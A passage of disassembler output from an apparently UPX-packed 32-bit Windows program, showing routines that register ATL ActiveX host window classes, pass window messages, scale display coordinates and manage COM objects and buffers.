		call	dword_41D27C	; CallWindowProcW


loc_4045C1:				; CODE XREF: sub_404508+A2j
		movzx	eax, word ptr [ebp+arg_0]
		dec	eax
		cmp	eax, 1
		jbe	short loc_4045E1
		mov	eax, [ebp+arg_0]
		shr	eax, 10h
		push	eax


loc_4045D2:				; CODE XREF: sub_404508+50j
		push	dword ptr [edi+4]
		call	dword_41D2B8	; GetDlgItem
		jmp	short loc_4045E3
; ---------------------------------------------------------------------------


loc_4045DD:				; CODE XREF: sub_404508+73j
		test	esi, esi
		jz	short loc_4045E7


loc_4045E1:				; CODE XREF: sub_404508+25j
					; sub_404508+83j ...
		mov	eax, esi


loc_4045E3:				; CODE XREF: sub_404508+37j
					; sub_404508+3Fj ...
		test	eax, eax
		jnz	short loc_4045F2


loc_4045E7:				; CODE XREF: sub_404508+1Cj
					; sub_404508+2Ej ...
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_404639
; ---------------------------------------------------------------------------


loc_4045F2:				; CODE XREF: sub_404508+DDj
		mov	ecx, [edi+98h]
		test	cl, 8
		jz	short loc_404627
		and	[ebp+arg_4], 0
		test	cl, 1
		jz	short loc_404622
		mov	eax, [edi+74h]
		test	eax, eax
		jz	short loc_404622
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	esi
		push	[ebp+arg_0]
		add	ebx, 2000h
		push	ebx
		push	eax
		call	dword ptr [ecx+24h]


loc_404622:				; CODE XREF: sub_404508+FCj
					; sub_404508+103j
		mov	eax, [ebp+arg_4]
		jmp	short loc_404639
; ---------------------------------------------------------------------------


loc_404627:				; CODE XREF: sub_404508+F3j
		push	esi
		push	[ebp+arg_0]
		add	ebx, 2000h
		push	ebx
		push	eax
		call	dword_41D288	; SendMessageW


loc_404639:				; CODE XREF: sub_404508+E8j
					; sub_404508+11Dj
		pop	ebx
		pop	ebp
		retn	8
sub_404508	endp


; =============== S U B	R O U T	I N E =======================================



sub_40463E	proc near		; DATA XREF: UPX0:00424158o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		test	edx, edx
		jnz	short loc_40464D
		mov	eax, 80004003h
		jmp	short locret_404672
; ---------------------------------------------------------------------------


loc_40464D:				; CODE XREF: sub_40463E+6j
		and	dword ptr [edx], 0
		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+9Ch]
		mov	eax, 80004002h
		test	ecx, ecx
		jz	short locret_404672
		mov	eax, [ecx]
		push	edx
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	ecx
		call	dword ptr [eax+0Ch]

locret_404672:				; CODE XREF: sub_40463E+Dj
					; sub_40463E+23j
		retn	10h
sub_40463E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404675	proc near		; CODE XREF: sub_40534A+2Dp
					; sub_418266+1B5p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	sub_404725
		lea	eax, [ebp+var_4]
		xor	edi, edi
		push	eax
		mov	[ebp+var_4], edi
		mov	[ebp+var_C], edi
		call	sub_4050AA
		mov	esi, eax
		cmp	esi, edi
		jl	short loc_4046EF
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_423C0C
		mov	[ebp+var_8], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		push	[ebp+arg_0]
		lea	esi, [ebp+arg_0]
		call	sub_4011E3
		push	[ebp+arg_C]
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	edi
		push	offset dword_41D440
		lea	edx, [ebp+var_C]
		push	edx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+28h]
		push	[ebp+arg_0]
		mov	esi, eax
		call	dword_41D25C
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jz	short loc_4046EF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4046EF:				; CODE XREF: sub_404675+22j
					; sub_404675+72j
		cmp	ebx, edi
		jz	short loc_404703
		cmp	esi, edi
		jl	short loc_404701
		mov	eax, [ebp+var_4]
		mov	[ebx], eax
		mov	[ebp+var_4], edi
		jmp	short loc_404703
; ---------------------------------------------------------------------------


loc_404701:				; CODE XREF: sub_404675+80j
		mov	[ebx], edi


loc_404703:				; CODE XREF: sub_404675+7Cj
					; sub_404675+8Aj
		mov	eax, [ebp+var_C]
		cmp	eax, edi
		jz	short loc_404710
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_404710:				; CODE XREF: sub_404675+93j
		mov	eax, [ebp+var_4]
		cmp	eax, edi
		jz	short loc_40471D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40471D:				; CODE XREF: sub_404675+A0j
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn	10h
sub_404675	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404725	proc near		; CODE XREF: sub_404675+8p
					; sub_418A96+47p

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 3Ch
		push	ebx
		push	esi
		mov	eax, offset dword_42E38C
		push	edi
		push	eax
		mov	[esp+4Ch+var_38], eax
		call	dword_41D1CC	; RtlEnterCriticalSection
		mov	esi, dword_41D320
		push	offset aWm_atlgethost ;	"WM_ATLGETHOST"
		mov	byte ptr [esp+4Ch+var_34], 1
		call	esi ; dword_41D320
		push	offset aWm_atlgetcontr ; "WM_ATLGETCONTROL"
		mov	dword_42EEA8, eax
		call	esi ; dword_41D320
		push	30h
		pop	edi
		mov	dword_42EEAC, eax
		lea	eax, [esp+48h+var_30]
		push	eax
		mov	esi, offset aAtlaxwin80	; "AtlAxWin80"
		push	esi
		push	dword_42E350
		mov	[esp+54h+var_30], edi
		call	dword_41D35C	; GetClassInfoExW
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4047FF
		mov	eax, dword_42E350
		push	7F00h
		push	ebx
		mov	[esp+50h+var_30], edi
		mov	[esp+50h+var_2C], 8
		mov	[esp+50h+var_28], offset sub_4184BE
		mov	[esp+50h+var_24], ebx
		mov	[esp+50h+var_20], ebx
		mov	[esp+50h+var_1C], eax
		mov	[esp+50h+var_18], ebx
		call	dword_41D344	; LoadCursorW
		mov	[esp+48h+var_14], eax
		lea	eax, [esp+48h+var_30]
		push	eax
		mov	[esp+4Ch+var_10], 6
		mov	[esp+4Ch+var_C], ebx
		mov	[esp+4Ch+var_8], esi
		mov	[esp+4Ch+var_4], ebx
		call	dword_41D2D4	; RegisterClassExW
		movzx	eax, ax
		mov	[esp+48h+var_3C], eax
		cmp	ax, bx
		jz	loc_4048B2
		lea	eax, [esp+48h+var_3C]
		push	eax
		mov	esi, offset dword_42E3A8
		call	sub_404C2B


loc_4047FF:				; CODE XREF: sub_404725+61j
		push	edi
		lea	eax, [esp+4Ch+var_30]
		push	ebx
		push	eax
		call	sub_40BD40
		add	esp, 0Ch
		lea	eax, [esp+48h+var_30]
		push	eax
		mov	esi, offset aAtlaxwinlic80 ; "AtlAxWinLic80"
		push	esi
		push	dword_42E350
		mov	[esp+54h+var_30], edi
		call	dword_41D35C	; GetClassInfoExW
		mov	[esp+48h+var_3C], eax
		cmp	eax, ebx
		jnz	loc_4048B6
		mov	eax, dword_42E350
		push	7F00h
		push	ebx
		mov	[esp+50h+var_30], edi
		mov	[esp+50h+var_2C], 8
		mov	[esp+50h+var_28], offset sub_418266
		mov	[esp+50h+var_24], ebx
		mov	[esp+50h+var_20], ebx
		mov	[esp+50h+var_1C], eax
		mov	[esp+50h+var_18], ebx
		call	dword_41D344	; LoadCursorW
		mov	[esp+48h+var_14], eax
		lea	eax, [esp+48h+var_30]
		push	eax
		mov	[esp+4Ch+var_10], 6
		mov	[esp+4Ch+var_C], ebx
		mov	[esp+4Ch+var_8], esi
		mov	[esp+4Ch+var_4], ebx
		call	dword_41D2D4	; RegisterClassExW
		movzx	eax, ax
		mov	[esp+48h+var_3C], eax
		cmp	ax, bx
		jz	short loc_4048B2
		lea	eax, [esp+48h+var_3C]
		push	eax
		mov	esi, offset dword_42E3A8
		call	sub_404C2B
		mov	[esp+48h+var_3C], 1
		jmp	short loc_4048B6
; ---------------------------------------------------------------------------


loc_4048B2:				; CODE XREF: sub_404725+C5j
					; sub_404725+172j
		mov	[esp+48h+var_3C], ebx


loc_4048B6:				; CODE XREF: sub_404725+10Aj
					; sub_404725+18Bj
		lea	ecx, [esp+48h+var_38]
		call	sub_4066D7
		mov	eax, [esp+48h+var_3C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404725	endp


; =============== S U B	R O U T	I N E =======================================



sub_4048CA	proc near		; CODE XREF: sub_404083+30Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		test	edi, edi
		jnz	short loc_4048DA


loc_4048D0:				; CODE XREF: sub_4048CA+12j
		push	80004003h
		call	sub_4010D8
; ---------------------------------------------------------------------------


loc_4048DA:				; CODE XREF: sub_4048CA+4j
		test	esi, esi
		jz	short loc_4048D0
		push	ebx
		push	ebp
		push	0
		call	dword_41D2DC	; GetDC
		mov	ebp, dword_41D034
		mov	ebx, eax
		push	58h
		push	ebx
		call	ebp ; dword_41D034
		push	5Ah
		push	ebx
		mov	[esp+18h+var_8], eax
		call	ebp ; dword_41D034
		push	ebx
		push	0
		mov	[esp+18h+var_4], eax
		call	dword_41D2BC	; ReleaseDC
		mov	ebx, dword_41D200
		mov	ebp, 9ECh
		push	ebp
		push	dword ptr [edi]
		push	[esp+18h+var_8]
		call	ebx ; dword_41D200
		push	ebp
		mov	[esi], eax
		push	dword ptr [edi+4]
		push	[esp+18h+var_4]
		call	ebx ; dword_41D200
		pop	ebp
		mov	[esi+4], eax
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_4048CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_404933	proc near		; CODE XREF: sub_402768+3Fp
					; sub_404083+2E4p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		test	edi, edi
		jnz	short loc_404943


loc_404939:				; CODE XREF: sub_404933+12j
		push	80004003h
		call	sub_4010D8
; ---------------------------------------------------------------------------


loc_404943:				; CODE XREF: sub_404933+4j
		test	esi, esi
		jz	short loc_404939
		push	ebx
		push	ebp
		push	0
		call	dword_41D2DC	; GetDC
		mov	ebp, dword_41D034
		mov	ebx, eax
		push	58h
		push	ebx
		call	ebp ; dword_41D034
		push	5Ah
		push	ebx
		mov	[esp+18h+var_8], eax
		call	ebp ; dword_41D034
		push	ebx
		push	0
		mov	[esp+18h+var_4], eax
		call	dword_41D2BC	; ReleaseDC
		push	[esp+10h+var_8]
		mov	ebx, dword_41D200
		push	dword ptr [edi]
		mov	ebp, 9ECh
		push	ebp
		call	ebx ; dword_41D200
		push	[esp+10h+var_4]
		mov	[esi], eax
		push	dword ptr [edi+4]
		push	ebp
		call	ebx ; dword_41D200
		pop	ebp
		mov	[esi+4], eax
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_404933	endp


; =============== S U B	R O U T	I N E =======================================



sub_40499C	proc near		; DATA XREF: UPX0:00426E84o
		mov	dword ptr [ecx], offset	off_41D4DC
		jmp	sub_40AD84
sub_40499C	endp

; ---------------------------------------------------------------------------


loc_4049A7:				; DATA XREF: UPX0:off_41D4DCo
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41D4DC
		call	sub_40AD84
		test	byte ptr [esp+8], 1
		jz	short loc_4049C3
		push	esi
		call	sub_40AC11
		pop	ecx


loc_4049C3:				; CODE XREF: UPX0:004049BAj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4049C9	proc near		; CODE XREF: sub_405446+79p
					; sub_4054FB+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B376
		mov	eax, [ebp+arg_0]
		add	esp, 10h
		pop	ebp
		retn
sub_4049C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4049E5	proc near		; CODE XREF: sub_405A07+50p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40AC49
		mov	eax, [ebp+arg_0]
		add	esp, 10h
		pop	ebp
		retn
sub_4049E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A01	proc near		; CODE XREF: sub_404A7D+7p
					; sub_404AC2+7p ...
		push	4
		mov	eax, offset loc_41C189
		call	sub_40C46D
		mov	esi, ecx
		mov	[ebp-10h], esi
		call	sub_40ACA6
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+8]
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41D4E8
		call	sub_40515A
		mov	eax, esi
		call	sub_40C50C
		retn	4
sub_404A01	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404A36	proc near		; CODE XREF: UPX0:00404A64p
					; sub_404A95+6j ...
		push	esi
		mov	esi, ecx
		push	0
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41D4E8
		call	sub_4054FB
		mov	ecx, esi
		pop	esi
		jmp	sub_40AD84
sub_404A36	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A53	proc near		; DATA XREF: UPX0:0041D4ECo
					; UPX0:0041D4F8o ...
		cmp	dword ptr [ecx+24h], 10h
		jb	short loc_404A5D
		mov	eax, [ecx+10h]
		retn
; ---------------------------------------------------------------------------


loc_404A5D:				; CODE XREF: sub_404A53+4j
		lea	eax, [ecx+10h]
		retn
sub_404A53	endp

; ---------------------------------------------------------------------------


loc_404A61:				; DATA XREF: UPX0:off_41D4E8o
		push	esi
		mov	esi, ecx
		call	sub_404A36
		test	byte ptr [esp+8], 1
		jz	short loc_404A77
		push	esi
		call	sub_40AC11
		pop	ecx


loc_404A77:				; CODE XREF: UPX0:00404A6Ej
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_404A7D	proc near		; CODE XREF: sub_40AB96+24p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_404A01
		mov	dword ptr [esi], offset	off_41D4F4
		mov	eax, esi
		pop	esi
		retn	4
sub_404A7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A95	proc near		; DATA XREF: UPX0:00426E4Co
		mov	dword ptr [ecx], offset	off_41D4F4
		jmp	sub_404A36
sub_404A95	endp

; ---------------------------------------------------------------------------


loc_404AA0:				; DATA XREF: UPX0:off_41D4F4o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41D4F4
		call	sub_404A36
		test	byte ptr [esp+8], 1
		jz	short loc_404ABC
		push	esi
		call	sub_40AC11
		pop	ecx


loc_404ABC:				; CODE XREF: UPX0:00404AB3j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_404AC2	proc near		; CODE XREF: sub_40ABCE+24p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_404A01
		mov	dword ptr [esi], offset	off_41D500
		mov	eax, esi
		pop	esi
		retn	4
sub_404AC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_404ADA	proc near		; DATA XREF: UPX0:00426E10o
		mov	dword ptr [ecx], offset	off_41D500
		jmp	sub_404A36
sub_404ADA	endp

; ---------------------------------------------------------------------------


loc_404AE5:				; DATA XREF: UPX0:off_41D500o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41D500
		call	sub_404A36
		test	byte ptr [esp+8], 1
		jz	short loc_404B01
		push	esi
		call	sub_40AC11
		pop	ecx


loc_404B01:				; CODE XREF: UPX0:00404AF8j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_404B1F
		mov	dword ptr [esi], offset	off_41D500
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_404B1F	proc near		; CODE XREF: UPX0:00404B0Ep
					; UPX0:00405EDCp
		push	4
		mov	eax, offset loc_41C189
		call	sub_40C46D
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	edi, [ebp+8]
		push	edi
		call	sub_40AD27
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41D4E8
		call	sub_40515A
		mov	eax, esi
		call	sub_40C50C
		retn	4
sub_404B1F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404B59	proc near		; CODE XREF: sub_4091D6+3p
					; UPX0:004091F3p ...
		push	4
		mov	eax, offset loc_41C527
		call	sub_40C46D
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_423FBC
		mov	dword ptr [esi+24h], (offset loc_423FD7+1)
		lea	eax, [esi+3Ch]
		push	eax
		mov	dword ptr [ebp-4], 1
		call	sub_4052AA
		push	dword ptr [esi+2Ch]
		call	dword_41D25C
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [esi+14h]
		test	esi, esi
		jz	short loc_404BA1
		push	esi
		call	sub_40A859


loc_404BA1:				; CODE XREF: sub_404B59+40j
		call	sub_40C50C
		retn
sub_404B59	endp

; ---------------------------------------------------------------------------
		mov	eax, 80004001h
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404BAF	proc near		; DATA XREF: UPX0:off_423FBCo
					; UPX0:off_424BF8o ...

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_14], 0
		jnz	short loc_404BFD
		cmp	[ebp+arg_4], 1
		jnz	short loc_404BCD
		call	sub_41889D


loc_404BC3:				; CODE XREF: sub_404BAF+34j
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax


loc_404BC8:				; CODE XREF: sub_404BAF+4Cj
		xor	eax, eax
		inc	eax
		jmp	short loc_404BFF
; ---------------------------------------------------------------------------


loc_404BCD:				; CODE XREF: sub_404BAF+Dj
		mov	eax, 100h
		cmp	[ebp+arg_4], eax
		jnz	short loc_404BE5
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ecx
		call	sub_4178EC
		jmp	short loc_404BC3
; ---------------------------------------------------------------------------


loc_404BE5:				; CODE XREF: sub_404BAF+26j
		cmp	[ebp+arg_4], 214h
		jnz	short loc_404BFD
		mov	eax, ecx
		call	sub_417C15
		mov	eax, [ebp+arg_10]
		and	dword ptr [eax], 0
		jmp	short loc_404BC8
; ---------------------------------------------------------------------------


loc_404BFD:				; CODE XREF: sub_404BAF+7j
					; sub_404BAF+3Dj
		xor	eax, eax


loc_404BFF:				; CODE XREF: sub_404BAF+1Cj
		pop	ebp
		retn	18h
sub_404BAF	endp

; ---------------------------------------------------------------------------


loc_404C03:				; CODE XREF: UPX0:0041C0E2j
					; UPX0:0041C517j
		mov	eax, [eax+14h]
		test	eax, eax
		jz	short locret_404C10
		push	eax
		call	sub_40A859

locret_404C10:				; CODE XREF: UPX0:00404C08j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404C11	proc near		; CODE XREF: UPX0:0041C101p
		jmp	sub_4052AA
sub_404C11	endp

; ---------------------------------------------------------------------------


loc_404C16:				; CODE XREF: UPX0:0041C004j
					; UPX0:0041C049j ...
		jmp	short loc_404C25
; ---------------------------------------------------------------------------


loc_404C18:				; CODE XREF: UPX0:00404C28j
		mov	eax, [esi]
		mov	ecx, [eax]
		push	eax
		mov	[esi], ecx
		call	sub_40ADC8
		pop	ecx


loc_404C25:				; CODE XREF: UPX0:loc_404C16j
		cmp	dword ptr [esi], 0
		jnz	short loc_404C18
		retn

; =============== S U B	R O U T	I N E =======================================



sub_404C2B	proc near		; CODE XREF: sub_404725+D5p
					; sub_404725+17Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esi+4]
		mov	ecx, [esi+8]
		push	edi
		cmp	eax, ecx
		jnz	short loc_404C64
		test	ecx, ecx
		jnz	short loc_404C3F
		xor	edi, edi
		inc	edi
		jmp	short loc_404C4E
; ---------------------------------------------------------------------------


loc_404C3F:				; CODE XREF: sub_404C2B+Dj
		lea	edi, [eax+eax]
		test	edi, edi
		jl	short loc_404C84
		cmp	edi, 3FFFFFFFh
		ja	short loc_404C84


loc_404C4E:				; CODE XREF: sub_404C2B+12j
		push	2
		push	edi
		push	dword ptr [esi]
		call	sub_40B28B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_404C84
		mov	[esi+8], edi
		mov	[esi], eax


loc_404C64:				; CODE XREF: sub_404C2B+9j
		mov	eax, [esi+4]
		mov	ecx, [esi]
		lea	eax, [ecx+eax*2]
		test	eax, eax
		jz	short loc_404C7A
		mov	ecx, [esp+4+arg_0]
		mov	cx, [ecx]
		mov	[eax], cx


loc_404C7A:				; CODE XREF: sub_404C2B+43j
		inc	dword ptr [esi+4]
		xor	eax, eax
		inc	eax


loc_404C80:				; CODE XREF: sub_404C2B+5Bj
		pop	edi
		retn	4
; ---------------------------------------------------------------------------


loc_404C84:				; CODE XREF: sub_404C2B+19j
					; sub_404C2B+21j ...
		xor	eax, eax
		jmp	short loc_404C80
sub_404C2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_404C88	proc near		; CODE XREF: sub_401E62+30p
					; sub_40500B+20p ...
		add	eax, 4
		cmp	byte ptr [eax+18h], 0
		jz	short locret_404C9C
		push	eax
		mov	byte ptr [eax+18h], 0
		call	dword_41D1C8	; RtlDeleteCriticalSection

locret_404C9C:				; CODE XREF: sub_404C88+7j
		retn
sub_404C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_404C9D	proc near		; CODE XREF: sub_4178EC+25p
					; sub_417FE1+2Ap ...
		push	0
		mov	eax, offset loc_41BF38
		call	sub_40C46D
		xor	ecx, ecx
		cmp	ebx, ecx
		jnz	short loc_404CB6
		mov	eax, 80004003h
		jmp	short loc_404D03
; ---------------------------------------------------------------------------


loc_404CB6:				; CODE XREF: sub_404C9D+10j
		mov	[ebx], ecx
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp+8]
		mov	eax, [eax]
		push	ecx
		push	dword_42EEAC
		push	eax
		call	dword_41D288	; SendMessageW
		mov	edi, eax
		mov	esi, edi
		neg	esi
		sbb	esi, esi
		and	esi, 7FFFBFFBh
		add	esi, 80004005h
		mov	[ebp+8], edi
		js	short loc_404CF3
		mov	eax, [edi]
		push	ebx
		push	dword ptr [ebp+0Ch]
		push	edi
		call	dword ptr [eax]
		mov	esi, eax


loc_404CF3:				; CODE XREF: sub_404C9D+49j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		test	edi, edi
		jz	short loc_404D01
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]


loc_404D01:				; CODE XREF: sub_404C9D+5Cj
		mov	eax, esi


loc_404D03:				; CODE XREF: sub_404C9D+17j
		call	sub_40C50C
		retn	8
sub_404C9D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D0B	proc near		; CODE XREF: sub_401DBD+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_42DD08, 0
		jnz	short loc_404D1E
		and	dword_42DD08, 0


loc_404D1E:				; CODE XREF: sub_404D0B+Aj
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [esi+20h]
		push	eax
		mov	ebx, offset a0	; "0"
		call	sub_406DD8
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	[ebp+arg_4]
		mov	ebx, esi
		push	0
		push	0CF0000h
		push	offset aAxwinFrameWind ; "AXWIN	Frame Window"
		push	[ebp+arg_0]
		push	0
		call	sub_40691F
		pop	ebx
		pop	ebp
		retn	8
sub_404D0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D56	proc near		; DATA XREF: UPX0:00423F0Co
					; UPX0:00423F64o ...
		mov	eax, offset sub_406819
		retn
sub_404D56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D5C	proc near		; CODE XREF: sub_401E11+1Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_42DD98, 0
		jnz	short loc_404D6F
		and	dword_42DD98, 0


loc_404D6F:				; CODE XREF: sub_404D5C+Aj
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [esi+20h]
		push	eax
		mov	ebx, offset dword_42DD68
		call	sub_406DD8
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	[ebp+arg_4]
		mov	ebx, esi
		push	0
		push	0CF0000h
		push	offset aAxwinUiWindow ;	"AXWIN UI Window"
		push	[ebp+arg_0]
		push	0
		call	sub_40691F
		pop	ebx
		pop	ebp
		retn	8
sub_404D5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404DA7	proc near		; CODE XREF: UPX0:004039BBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_404DB4
		add	eax, 0FFFFFFC8h
		jmp	short loc_404DB6
; ---------------------------------------------------------------------------


loc_404DB4:				; CODE XREF: sub_404DA7+6j
		xor	eax, eax


loc_404DB6:				; CODE XREF: sub_404DA7+Bj
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		lea	esi, [eax+3Ch]
		cmp	[esi], edi
		jz	short loc_404DC8
		call	sub_4011B4


loc_404DC8:				; CODE XREF: sub_404DA7+1Aj
		pop	edi
		xor	eax, eax
		pop	esi
		retn	8
sub_404DA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_404DCF	proc near		; DATA XREF: UPX0:00424140o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_404DDC
		lea	ecx, [eax-38h]
		jmp	short loc_404DDE
; ---------------------------------------------------------------------------


loc_404DDC:				; CODE XREF: sub_404DCF+6j
		xor	ecx, ecx


loc_404DDE:				; CODE XREF: sub_404DCF+Bj
		mov	edx, [esp+arg_8]
		mov	eax, 80004003h
		test	edx, edx
		jz	short locret_404E06
		mov	eax, [ecx+3Ch]
		test	eax, eax
		jz	short loc_404DFE
		mov	ecx, [eax]
		push	edx
		push	[esp+4+arg_4]
		push	eax
		call	dword ptr [ecx]
		jmp	short locret_404E06
; ---------------------------------------------------------------------------


loc_404DFE:				; CODE XREF: sub_404DCF+21j
		and	dword ptr [edx], 0
		mov	eax, 80004005h

locret_404E06:				; CODE XREF: sub_404DCF+1Aj
					; sub_404DCF+2Dj
		retn	0Ch
sub_404DCF	endp


; =============== S U B	R O U T	I N E =======================================



sub_404E09	proc near		; DATA XREF: UPX0:004241E0o

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_404E18
		mov	eax, 80004003h
		jmp	short locret_404E20
; ---------------------------------------------------------------------------


loc_404E18:				; CODE XREF: sub_404E09+6j
		mov	dword ptr [eax], 1
		xor	eax, eax

locret_404E20:				; CODE XREF: sub_404E09+Dj
		retn	8
sub_404E09	endp


; =============== S U B	R O U T	I N E =======================================



sub_404E23	proc near		; DATA XREF: UPX0:004241E4o

arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	esi, [esp+4+arg_C]
		test	esi, esi
		jnz	short loc_404E33
		mov	eax, 80004003h
		jmp	short loc_404E60
; ---------------------------------------------------------------------------


loc_404E33:				; CODE XREF: sub_404E23+7j
		xor	eax, eax
		cmp	dword_42DEB0, eax
		jnz	short loc_404E46
		push	[esp+4+arg_8]
		call	sub_401BB2


loc_404E46:				; CODE XREF: sub_404E23+18j
		mov	ecx, dword_42DEB0
		mov	[esi], ecx
		mov	ecx, dword_42DEB0
		test	ecx, ecx
		jz	short loc_404E60
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+4]
		xor	eax, eax


loc_404E60:				; CODE XREF: sub_404E23+Ej
					; sub_404E23+33j
		pop	esi
		retn	10h
sub_404E23	endp


